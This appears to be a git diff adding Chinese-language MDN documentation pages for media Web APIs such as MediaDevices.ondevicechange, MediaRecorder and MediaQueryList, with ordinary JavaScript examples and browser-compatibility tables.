 MediaDevices.ondevicechange 属性是一种{{domxref("EventHandler")}},当{{domxref("MediaDevices")}} 接口的{{event("devicechange")}}事件被触发时会被调用. 不论{{Glossary("user agent")}}媒体设备的设置是否可用, 或者网站或者应用发生变了都会触发。无论何时你都可以使用 {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}  去更新可用设备列表.

+ +

Syntax

+ +
MediaDevices.ondevicechange = eventHandler;
+
+ +

Value

+ +

A function you provide which accepts as input a {{domxref("Event")}} object describing the {{domxref("devicehange")}} event that occurred. There is no information about the change included in the event object; to get the updated list of devices, you'll have to use {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}.

+ +

Example

+ +

In this example, we create a function called updateDeviceList(), which is called once when {{domxref("MediaDevices.getUserMedia()")}} successfully obtains a stream, and then is called any time the device list changes. It displays in the browser window two lists: one of audio devices and one of video devices, with both the device's label (name) and whether it's an input or an output device. Because the example provides a handler for the {{event("devicechange")}} event, the list is refreshed any time a media device is attached to or removed from the device running the sample.

+ + + +

We set up global variables that contain references to the {{HTMLElement("ul")}} elements that are used to list the audio and video devices:

+ +
let audioList = document.getElementById("audioList");
+let videoList = document.getElementById("videoList");
+ +

Getting and drawing the device list

+ +

Now let's take a look at updateDeviceList() itself. This method is called any time we want to fetch the current list of media devices and then update the displayed lists of audo and video devices using that information.

+ +
function updateDeviceList() {
+  navigator.mediaDevices.enumerateDevices()
+  .then(function(devices) {
+    audioList.innerHTML = "";
+    videoList.innerHTML = "";
+
+    devices.forEach(function(device) {
+      let elem = document.createElement("li");
+      let [kind, type, direction] = device.kind.match(/(\w+)(input|output)/i);
+
+      elem.innerHTML = "<strong>" + device.label + "</strong> (" + direction + ")";
+      if (type === "audio") {
+        audioList.appendChild(elem);
+      } else if (type === "video") {
+        videoList.appendChild(elem);
+      }
+    });
+  });
+}
+ +

updateDeviceList() consists entirely of a call to the function {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}} on the {{domxref("MediaDevices")}} object referenced in the {{domxref("navigator.mediaDevices")}} property, as well as the code that's run when the {{jsxref("promise")}} returned by enumerateDevices() is fulfilled. The fulfillment handler is called when the device list is ready. The list is passed into the fulfillment handler as an array of {{domxref("MediaDeviceInfo")}} objects, each describing one media input or output device.

+ +

A {{jsxref("Array.forEach", "forEach()")}} loop is used to scan through all the devices. For each device, we create a new {{HTMLElement("li")}} object to be used to display it to the user.

+ +

The line let [kind, type, direction] = device.kind.match(/(\w+)(input|output)/i); deserves special notice. This uses destructuring assignment (a new feature of ECMAScript 6) to assign the values of the first three items in the array returned by {{jsxref("String.match()")}} to the variables kind, type, and direction. We do this because the value of {{domxref("MediaDeviceInfo.kind")}} is a single string that includes both the media type and the direction the media flows, such as "audioinput" or "videooutput". This line, then, pulls out the type ("audio" or "video") and direction ("input" or "output") so they can be used to construct the string displayed in the list.

+ +

Once the string is assembled, containing the device's name in bold and the direction in parentheses, it's appended to the appropriate list by calling {{domxref("Node.appendChild", "appendChild()")}} on either audioList or videoList, as appropriate based on the device type.

+ +

Handling device list changes

+ +

We call updateDeviceList() in two places. The first is in the {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} promise's fulfillment handler, to initially fill out the list when the stream is opened. The second is in the event handler for {{event("devicechange")}}:

+ +
navigator.mediaDevices.ondevicechange = function(event) {
+  updateDeviceList();
+}
+ +

With this code in place, each time the user plugs in a camera, microphone, or other media device, or turns one on or off, we call updateDeviceList() to redraw the list of connected devices.

+ +

Result

+ +

{{ EmbedLiveSample('Example', 600, 460) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediadevices-ondevicechange', 'ondevicechange') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(57)}}{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatOpera(34)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatOperaMobile(34)}}{{CompatUnknown}}
+
+ +

[1] Support for the devicechange event and for {{domxref("MediaDevices.ondevicechange")}} landed in Firefox 51, but only for Mac, and disabled by default. It can be enabled by setting the preference media.ondevicechange.enabled to true. Support for this event was added for Linux and Windows—and it was enabled by default—starting in Firefox 52.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediaelementaudiosourcenode/index.html b/files/zh-cn/web/api/mediaelementaudiosourcenode/index.html new file mode 100644 index 0000000000..f06a1b1ba9 --- /dev/null +++ b/files/zh-cn/web/api/mediaelementaudiosourcenode/index.html @@ -0,0 +1,147 @@ +--- +title: MediaElementAudioSourceNode +slug: Web/API/MediaElementAudioSourceNode +translation_of: Web/API/MediaElementAudioSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

MediaElementAudioSourceNode 接口代表着某个由HTML5 {{ htmlelement("audio") }} 或 {{ htmlelement("video") }} 元素所组成的音频源.该接口作为扮演音源的 {{domxref("AudioNode")}} 节点.

+
+ +

MediaElementSourceNode 没有输入,只有一个输出,其由使用{{domxref("AudioContext.createMediaElementSource")}}方法创建.输出的频道数目与节点创建时引用音频 {{domxref("HTMLMediaElement")}}  的频道数目一致,或当 {{domxref("HTMLMediaElement")}} 无音频时,频道数目为 1.

+ + + + + + + + + + + + + + + + +
输入数目0
输出数目1
频道数由被传递给{{domxref("AudioContext.createMediaElementSource")}}的{{domxref("HTMLMediaElement")}}内的音频定义.
+ +

构造函数

+ +
+
{{domxref("MediaElementAudioSourceNode.MediaElementAudioSourceNode()")}}
+
创建一个新的 MediaElementAudioSourceNode 实例.
+
+ +

属性

+ +

集成其父类属性, {{domxref("AudioNode")}}.

+ +

方法

+ +

集成其父类方法, {{domxref("AudioNode")}}.

+ +

示例

+ +

{{page("/zh-CN/docs/Web/API/AudioContext/createMediaElementSource","示例")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#MediaElementAudioSourceNode', 'MediaElementAudioSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
Constructor{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoMobile(25)}}{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
Constructor{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/mediakeysession/index.html b/files/zh-cn/web/api/mediakeysession/index.html new file mode 100644 index 0000000000..2896b7eb8b --- /dev/null +++ b/files/zh-cn/web/api/mediakeysession/index.html @@ -0,0 +1,161 @@ +--- +title: MediaKeySession +slug: Web/API/MediaKeySession +tags: + - API + - Audio + - EncryptedMediaExtensions + - Interface + - Media + - MediaKeySession + - NeedsExample + - NeedsTranslation + - Reference + - TopicStub + - Video +translation_of: Web/API/MediaKeySession +--- +

{{APIRef("EncryptedMediaExtensions")}}{{SeeCompatTable}}

+ +

The MediaKeySession interface of the EncryptedMediaExtensions API represents a context for message exchange with a content decryption module (CDM).

+ +

Properties

+ +
+
{{domxref("MediaKeySession.closed")}} {{readonlyInline}}
+
Returns a {{jsxref("Promise")}} signaling when a MediaKeySession closes. This promise can only be fulfilled and is never rejected. Closing a session means that licenses and keys associated with it are no longer valid for decrypting media data. 
+
{{domxref("MediaKeySession.expiration")}} {{readonlyInline}}
+
The time after which the keys in the current session can no longer be used to decrypt media data, or NaN if no such time exists. This value is determined by the CDM and measured in milliseconds since January 1, 1970, UTC. This value may change during a session lifetime, such as when an action triggers the start of a window.
+
{{domxref("MediaKeySession.keyStatuses")}} {{readonlyInline}}
+
Contains a reference to a read-only {{domxref("MediaKeyStatusMap")}} of the current session's keys and their statuses.
+
{{domxref("MediaKeySession.sessionId")}} {{readonlyInline}}
+
Contains a unique string generated by the CDM for the current media object and its associated keys or licenses.
+
+ +

Event handlers

+ +
+
{{domxref("MediaKeySession.onkeystatuseschange")}}
+
Sets the {{domxref('EventHandler')}} called when there has been a change in the keys in a session or their statuses.
+
{{domxref("MediaKeySession.onmessage")}}
+
Sets the {{domxref('EventHandler')}} called when the content decryption module has generated a message for the session.
+
+ +

Methods

+ +
+
{{domxref("MediaKeySession.close()")}}
+
+

Returns a {{jsxref("Promise")}} after notifying the current media session is no longer needed and that the CDM should release any resources associated with this object and close it.

+
+
{{domxref("MediaKeySession.generateRequest()")}}
+
Returns a {{jsxref("Promise")}} after generating a media request based on initialization data.
+
{{domxref("MediaKeySession.load()")}}
+
Returns a {{jsxref("Promise")}} that resolves to a boolean value after loading data for a specified session object. 
+
{{domxref("MediaKeySession.remove()")}}
+
Returns a {{jsxref("Promise")}} after removing any session data associated with the current object.
+
{{domxref("MediaKeySession.update()")}}
+
Returns a {{jsxref("Promise")}} after loading messages and licenses to the CDM.
+
+ +

Examples

+ +
// TBD
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('EME', '#mediakeysession-interface', 'MediaKeySession')}}{{Spec2('EME')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
onkeystatuseschange and onmessage{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
onkeystatuseschange and onmessage{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
diff --git a/files/zh-cn/web/api/mediakeysession/load/index.html b/files/zh-cn/web/api/mediakeysession/load/index.html new file mode 100644 index 0000000000..a0e7d234f8 --- /dev/null +++ b/files/zh-cn/web/api/mediakeysession/load/index.html @@ -0,0 +1,100 @@ +--- +title: load() +slug: Web/API/MediaKeySession/load +translation_of: Web/API/MediaKeySession/load +--- +
{{APIRef("EncryptedMediaExtensions")}} {{SeeCompatTable}}
+ +

MediaKeySession.load()方法返回一个{{jsxref("Promise")}},它在加载指定的会话对象的数据后解析为一个布尔值。

+ +

句法

+ +
mediaKeySession .load(sessionId).then(function(booleanValue){...});
+ +

参数

+ +
+
的sessionId
+
由当前媒体对象及其相关键或许可证的内容解析模块生成的唯一字符串。
+
+ +

返回值

+ +

一个{{jsxref("Promise")}}解析为一个布尔值,指示加载是成功还是失败。

+ +

产品规格

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('EME','#widl-MediaKeySession-load-Promise-boolean - DOMString-sessionId','load()')}}{{Spec2('EME')}}初始定义
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特征边缘Firefox(Gecko)IE浏览器歌剧Safari(WebKit)
基本支持{{CompatChrome(42.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
特征Android的Android Webview边缘Firefox Mobile(Gecko)Firefox操作系统IE Mobile歌剧手机Safari手机适用于Android的Chrome
基本支持{{CompatNo}}{{CompatChrome(43.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(42.0)}}
+
diff --git a/files/zh-cn/web/api/medialist/index.html b/files/zh-cn/web/api/medialist/index.html new file mode 100644 index 0000000000..4b6ffa97e8 --- /dev/null +++ b/files/zh-cn/web/api/medialist/index.html @@ -0,0 +1,69 @@ +--- +title: MediaList +slug: Web/API/MediaList +tags: + - API + - CSSOM + - Interface + - MediaList + - Reference +translation_of: Web/API/MediaList +--- +
{{APIRef("CSSOM")}}
+ +

MediaList 接口表示样式表的媒体查询,例如使用了 media 属性的{{htmlelement("link")}} 元素。

+ +
+

注意:MediaList 是一个实时列表;使用以下属性或方法更新列表会立刻更新文档的表现。

+
+ +

属性

+ +
+
{{domxref("MediaList.mediaText")}}
+
一个字符串转化器,返回一个{{domxref("DOMString")}},以文本形式表示 MediaList,也可以通过这个方法设置新的 MediaList
+
{{domxref("MediaList.length")}} {{readonlyInline}}
+
返回 MediaList 中媒体查询的数量。
+
+ +

方法

+ +
+
{{domxref("MediaList.appendMedium()")}}
+
向 MediaList 中添加一个媒体查询。
+
{{domxref("MediaList.deleteMedium()")}}
+
从 MediaList 中移除一个媒体查询。
+
{{domxref("MediaList.item()")}}
+
一个获取函数,返回一个{{domxref("CSSOMString")}},表示文本形式的媒体查询,需要提供媒体查询在 MediaList 中的索引位置。
+
+ +

示例

+ +

下述例子会在控制台记录 MediaList 的文本表示,其来自应用到当前文档的第一个样式表。

+ +
const stylesheets = document.styleSheets;
+let stylesheet = stylesheets[0];
+console.log(stylesheet.media.mediaText);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('CSSOM', '#the-medialist-interface', 'MediaList')}}{{Spec2('CSSOM')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaList")}}

diff --git a/files/zh-cn/web/api/mediaquerylist/addlistener/index.html b/files/zh-cn/web/api/mediaquerylist/addlistener/index.html new file mode 100644 index 0000000000..0248756e6a --- /dev/null +++ b/files/zh-cn/web/api/mediaquerylist/addlistener/index.html @@ -0,0 +1,76 @@ +--- +title: MediaQueryList.addListener() +slug: Web/API/MediaQueryList/addListener +translation_of: Web/API/MediaQueryList/addListener +--- +

{{APIRef("CSSOM")}}

+ +

{{DOMxRef("MediaQueryList")}}接口的addListener()方法向MediaQueryListener添加一个侦听器,该侦听器将运行自定义回调函数以响应媒体查询状态的更改。

+ +

从本质上讲,这是{{DOMxRef("EventTarget.addEventListener()")}}的别名,用于向后兼容。 较旧的浏览器应使用addListener而不是addEventListener,因为MediaQueryList仅从较新的浏览器中的EventTarget继承。

+ +

语法

+ +
MediaQueryList.addListener(func)
+ +

参数

+ +
+
func
+
表示您要在媒体查询状态更改时运行的回调函数的函数或函数引用。 在原始实现中,回调是一个非标准的{{DOMxRef("MediaQueryListListener")}}对象。 在新的实现中,使用标准事件机制,回调是标准函数,事件对象是{{DOMxRef("MediaQueryListEvent")}},它继承自{{DOMxRef("Event")}}。
+
+ +

返回值

+ +

Void.

+ +

例子

+ +
var mql = window.matchMedia('(max-width: 600px)');
+
+function screenTest(e) {
+  if (e.matches) {
+    /* the viewport is 600 pixels wide or less */
+    para.textContent = 'This is a narrow screen — less than 600px wide.';
+    document.body.style.backgroundColor = 'red';
+  } else {
+    /* the viewport is more than than 600 pixels wide */
+    para.textContent = 'This is a wide screen — more than 600px wide.';
+    document.body.style.backgroundColor = 'blue';
+  }
+}
+
+mql.addListener(screenTest);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-mediaquerylist-addlistener", "addListener")}}{{Spec2("CSSOM View")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaQueryList.addListener")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/mediaquerylist/index.html b/files/zh-cn/web/api/mediaquerylist/index.html new file mode 100644 index 0000000000..77f49fae96 --- /dev/null +++ b/files/zh-cn/web/api/mediaquerylist/index.html @@ -0,0 +1,142 @@ +--- +title: MediaQueryList +slug: Web/API/MediaQueryList +translation_of: Web/API/MediaQueryList +--- +
{{APIRef("CSSOM View")}}{{SeeCompatTable}}
+ +

一个MediaQueryList对象在一个{{ domxref("document") }}上维持着一系列的媒体查询,并负责处理当媒体查询在其document上发生变化时向监听器进行通知的发送。

+ +

如果你需要以编程方式来检测一个document上的媒体查询的值的变化,这个MediaQueryList对象使得通过观察其document而检测它的媒体查询的值的变化成为可能,而不是周期性地对这些媒体查询的值进行检查。

+ +

方法概述

+ + + + + + + + + + +
void addListener(MediaQueryListListener listener);
void removeListener(MediaQueryListListener listener);
+ +

属性

+ + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
matchesboolean如果当前{{ domxref("document") }}匹配该媒体查询列表则其值为true;反之其值为false。只读。
mediaDOMString序列化的媒体查询列表。
+ +

方法

+ +

addListener()

+ +

在媒体查询列表上增加一个新的监听器,如果列表中已经存在了这个指定的监听器,这个方法将失去作用。

+ +
void addListener(
+  MediaQueryListListener listener
+);
+ +

参数 ( 针对addListener方法)

+ +
+
listener
+
当其媒体查询的求值结果发生变化时,该{{ domxref("MediaQueryListListener") }} 对象将会被调用。
+
+ +

removeListener()

+ +

从媒体查询列表中移除一个监听器,如果列表中不存在这个指定的监听器,则这个方法将失去作用。

+ +
void removeListener(
+  MediaQueryListListener listener
+);
+ +

参数 (针对removeListener方法)

+ +
+
listener
+
该{{ domxref("MediaQueryListListener") }}对象将停止访问媒体查询的求值结果发生的变化。
+
+ +

浏览器通用性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{ CompatGeckoDesktop("6.0") }}10{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

详述

+ + + +

请参阅

+ + diff --git a/files/zh-cn/web/api/mediarecorder/audiobitspersecond/index.html b/files/zh-cn/web/api/mediarecorder/audiobitspersecond/index.html new file mode 100644 index 0000000000..5dafa0aff3 --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/audiobitspersecond/index.html @@ -0,0 +1,39 @@ +--- +title: MediaRecorder.audioBitsPerSecond +slug: Web/API/MediaRecorder/audioBitsPerSecond +translation_of: Web/API/MediaRecorder/audioBitsPerSecond +--- +

{{SeeCompatTable}}{{APIRef("MediaStream Recording")}}

+ +

audioBitsPerSecond  {{domxref("MediaRecorder")}} 接口的只读属性. 它返回录制器所使用的音频编码码率. 或许与构造函数中指定的比特率有些不同 (如果调用构造函数的时候有指定).

+ +

语法

+ +
var audioBitsPerSecond = MediaRecorder.audioBitsPerSecond
+ +

+ +

 {{jsxref("Number")}} (无符号长整型).

+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Recording','#dom-mediarecorder-audiobitspersecond','audioBitsPerSecond')}}{{Spec2('MediaStream Recording')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaRecorder.audioBitsPerSecond")}}

diff --git a/files/zh-cn/web/api/mediarecorder/index.html b/files/zh-cn/web/api/mediarecorder/index.html new file mode 100644 index 0000000000..9f233604bc --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/index.html @@ -0,0 +1,256 @@ +--- +title: MediaRecorder +slug: Web/API/MediaRecorder +translation_of: Web/API/MediaRecorder +--- +
{{APIRef("Media Recorder API")}}
+ +

MediaRecorder 是 MediaStream Recording API 提供的用来进行媒体轻松录制的接口, 他需要通过调用 {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} 构造方法进行实例化.

+ +

构造函数

+ +
+
{{domxref("MediaRecorder.MediaRecorder()")}}
+
    创建一个新的MediaRecorder对象,对指定的{{domxref("MediaStream")}} 对象进行录制,支持的配置项包括设置容器的MIME 类型 (例如"video/webm" 或者 "video/mp4")和音频及视频的码率或者二者同用一个码率
+
+
+ +

配置项

+ +
+
{{domxref("MediaRecorder.mimeType")}} {{readonlyInline}}
+
    返回 MediaRecorder 对象创建时选择器选择的录制容器的 MIME type
+
{{domxref("MediaRecorder.state")}} {{readonlyInline}}
+
    返回录制对象MediaRecorder  的当前状态(闲置中,录制中或者暂停 ) (inactive, recording, or paused.)
+
{{domxref("MediaRecorder.stream")}} {{readonlyInline}}
+
    返回录制器对象 MediaRecorder 创建时构造函数传入的stream对象
+
+
{{domxref("MediaRecorder.ignoreMutedMedia")}}
+
+
    用以指定 MediaRecorder是否录制无声的输入源. 如果这个属性是false. 录制器对象MediaRecorder  会录制无声的音频或者黑屏的视频, 默认值是false
+
+
{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}
+
返回视频采用的编码比率. 它可能和构造函数的设置比率不同.  (if it was provided).
+
{{domxref("MediaRecorder.audioBitsPerSecond")}} {{readonlyInline}}
+
返回音频采用的编码比率,它可能和构造函数中设置的比率不同. (if it was provided).
+
+
+ +

方法

+ +
+
{{domxref("MediaRecorder.canRecordMimeType()", "MediaRecorder.isTypeSupported()")}}
+
返回一个{{domxref("Boolean")}} 值,来表示设置的MIME type 是否被当前用户的设备支持.
+
{{domxref("MediaRecorder.pause()")}}
+
暂停媒体录制
+
{{domxref("MediaRecorder.requestData()")}}
+
请求一个从开始到当前接收到的,存储为{{domxref("Blob")}}类型的录制内容. (或者是返回从上一次调用requestData() 方法之后到现在的内容).  调用这个方法后,录制将会继续进行,但是会创建一个新的Blob对象
+
{{domxref("MediaRecorder.resume()")}}
+
继续录制之前被暂停的录制动作.
+
{{domxref("MediaRecorder.start()")}}
+
开始录制媒体,这个方法调用时可以通过给timeslice参数设置一个毫秒值,如果设置这个毫秒值,那么录制的媒体会按照你设置的值进行分割成一个个单独的区块, 而不是以默认的方式录制一个非常大的整块内容.
+
{{domxref("MediaRecorder.stop()")}}
+
停止录制. 同时触发{{event("dataavailable")}}事件,返回一个存储Blob内容的录制数据.之后不再记录
+
+
+ +

静态方法

+ +
+
{{domxref("MediaRecorder.isTypeSupported()")}}
+
静态方法,判断给定的MIME类型是否支持。返回{{domxref("Boolean")}}类型的值。
+
+
+ +

事件处理

+ +
+
{{domxref("MediaRecorder.ondataavailable")}}
+
调用它用来处理 {{event("dataavailable")}} 事件, 该事件可用于获取录制的媒体资源 (在事件的 data 属性中会提供一个可用的 {{domxref("Blob")}} 对象.)
+
{{domxref("MediaRecorder.onerror")}}
+
An {{domxref("EventHandler")}} called to handle the {{event("recordingerror")}} event, including reporting errors that arise with media recording. These are fatal errors that stop recording.
+
{{domxref("MediaRecorder.onpause")}}
+
用来处理 {{event("pause")}} 事件, 该事件在媒体暂停录制时触发({{domxref("MediaRecorder.pause()")}}).
+
{{domxref("MediaRecorder.onresume")}}
+
用来处理 {{event("resume")}} 事件, 该事件在暂停后回复录制视频时触发({{domxref("MediaRecorder.resume()")}}).
+
{{domxref("MediaRecorder.onstart")}}
+
用来处理 {{event("start")}} 事件, 该事件在媒体开始录制时触发({{domxref("MediaRecorder.start()")}}).
+
{{domxref("MediaRecorder.onstop")}}
+
用来处理 {{event("stop")}} 事件, 该事件会在媒体录制结束时、媒体流({{domxref("MediaStream")}})结束时、或者调用{{domxref("MediaRecorder.stop()")}} 方法后触发.
+
+ +

事件

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
error
+
Fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec.
+ Also available via the onerror property.
+
+
+ +

例子

+ +
if (navigator.mediaDevices) {
+  console.log('getUserMedia supported.');
+
+  var constraints = { audio: true };
+  var chunks = [];
+
+  navigator.mediaDevices.getUserMedia(constraints)
+  .then(function(stream) {
+
+    var mediaRecorder = new MediaRecorder(stream);
+
+    visualize(stream);
+
+    record.onclick = function() {
+      mediaRecorder.start();
+      console.log(mediaRecorder.state);
+      console.log("recorder started");
+      record.style.background = "red";
+      record.style.color = "black";
+    }
+
+    stop.onclick = function() {
+      mediaRecorder.stop();
+      console.log(mediaRecorder.state);
+      console.log("recorder stopped");
+      record.style.background = "";
+      record.style.color = "";
+    }
+
+    mediaRecorder.onstop = function(e) {
+      console.log("data available after MediaRecorder.stop() called.");
+
+      var clipName = prompt('Enter a name for your sound clip');
+
+      var clipContainer = document.createElement('article');
+      var clipLabel = document.createElement('p');
+      var audio = document.createElement('audio');
+      var deleteButton = document.createElement('button');
+
+      clipContainer.classList.add('clip');
+      audio.setAttribute('controls', '');
+      deleteButton.innerHTML = "Delete";
+      clipLabel.innerHTML = clipName;
+
+      clipContainer.appendChild(audio);
+      clipContainer.appendChild(clipLabel);
+      clipContainer.appendChild(deleteButton);
+      soundClips.appendChild(clipContainer);
+
+      audio.controls = true;
+      var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+      chunks = [];
+      var audioURL = URL.createObjectURL(blob);
+      audio.src = audioURL;
+      console.log("recorder stopped");
+
+      deleteButton.onclick = function(e) {
+        evtTgt = e.target;
+        evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+      }
+    }
+
+    mediaRecorder.ondataavailable = function(e) {
+      chunks.push(e.data);
+    }
+  })
+  .catch(function(err) {
+    console.log('The following error occured: ' + err);
+  })
+}
+
+
+ +
+

This code sample is inspired by the Web Dictaphone demo. Some lines have been omitted for brevity; refer to the source for the complete code.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatChrome(47.0)}}{{CompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}1.3[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/mediarecorder/istypesupported/index.html b/files/zh-cn/web/api/mediarecorder/istypesupported/index.html new file mode 100644 index 0000000000..5a3ea6858c --- /dev/null +++ b/files/zh-cn/web/api/mediarecorder/istypesupported/index.html @@ -0,0 +1,126 @@ +--- +title: MediaRecorder.isTypeSupported +slug: Web/API/MediaRecorder/isTypeSupported +tags: + - API + - Audio + - Media + - Method + - Reference + - Video +translation_of: Web/API/MediaRecorder/isTypeSupported +--- +

{{APIRef("MediaStream Recording")}}

+ +

 MediaRecorder.isTypeSupported()方法会判断其 MIME 格式能否被客户端录制。

+ +

语法

+ +
var canRecord = MediaRecorder.isTypeSupported(mimeType)
+ +

参数

+ +
+
mimeType
+
需要检查的MIME 格式
+
+ +

返回值

+ +

如果 {{domxref("MediaRecorder")}} 在浏览器上的具体实现能够支持指定MIME类型的 {{domxref("Blob")}} 对象就返回true. 如果没有足够的资源来支持录制和编码任务,最终录制依然会失败. 如果返回结果是false, 用户的浏览器就无法录制指定的格式.

+ +

Example

+ +
var types = ["video/webm",
+             "audio/webm",
+             "video/webm\;codecs=vp8",
+             "video/webm\;codecs=daala",
+             "video/webm\;codecs=h264",
+             "audio/webm\;codecs=opus",
+             "video/mpeg"];
+
+for (var i in types) {
+  console.log( "Is " + types[i] + " supported? " + (MediaRecorder.isTypeSupported(types[i]) ? "Maybe!" : "Nope :("));
+}
+
+ +

规格说明

+ + + + + + + + + + + + + + +
具体格式状态注释
{{SpecName('MediaStream Recording', '#dom-mediarecorder-istypesupported', 'isTypeSupported()')}}{{Spec2('MediaStream Recording')}}Initial definition.
+ +

浏览器的支持情况

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
名称ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持ibenompatChrome(47.0)}}{{CompatGeckoDesktop("25.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
名称AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
